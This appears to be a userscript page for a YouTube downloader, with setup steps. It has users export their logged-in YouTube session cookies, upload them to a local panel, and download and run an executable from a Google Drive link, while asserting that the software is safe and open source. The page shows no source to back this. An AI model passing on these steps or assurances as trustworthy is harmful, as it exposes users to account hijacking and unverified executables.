⚠️ IMPORTANT: How to Fix "Login Required" / "Sign in to confirm" Errors
If you encounter "Login Required" or "403 Forbidden" errors, do not worry. This happens because YouTube has recently strengthened its anti-bot protection, blocking connections that don't appear to come from a logged-in browser.
To download age-restricted, premium, or high-bitrate content, the local server needs to "prove" it is you. We do this by securely importing your cookies.
🛠️ Step-by-Step Fix (Takes 1 minute):
Install the Extension: Use the open-source extension "Get cookies.txt LOCALLY" (Available for Chrome/Edge/Firefox).
Login to YouTube: Go to youtube.com and ensure you are logged in.
Export Cookies: Click the extension icon and click "Export". This saves a cookies.txt file.
Import to Server:
Click "🚀 Open Server Panel" in the script menu (or go to http://127.0.0.1:5000/panel).
Go to the "Cookies / Auth" tab.
Drag and drop your cookies.txt file there.
✅ Done! The server will now use your real authentication to download at full speed without blocks. Your data never leaves your local machine.

#### 🛠️ HOW TO INSTALL (Step by Step)
1. **Install Script:** Click the green "Install" button here.
2. **Download Server:** You need the engine to save files.
👉 **[DOWNLOAD SERVER ZIP HERE]** `(https://drive.google.com/file/d/13TOlyMFAzz7eEOTqAaf6Ex7eBR6rx1ex/view?usp=sharing)`
3. **Start Server:** Extract the ZIP and run **`YT_Downloader.exe`**. Click "START".

#### ❓ Troubleshooting
* **Panel not showing?** Make sure **`YT_Downloader.exe`** is running and you clicked "START".

* **Virus?** No. This is just a Python interface for `yt-dlp` and `ffmpeg`. It is safe and open source.
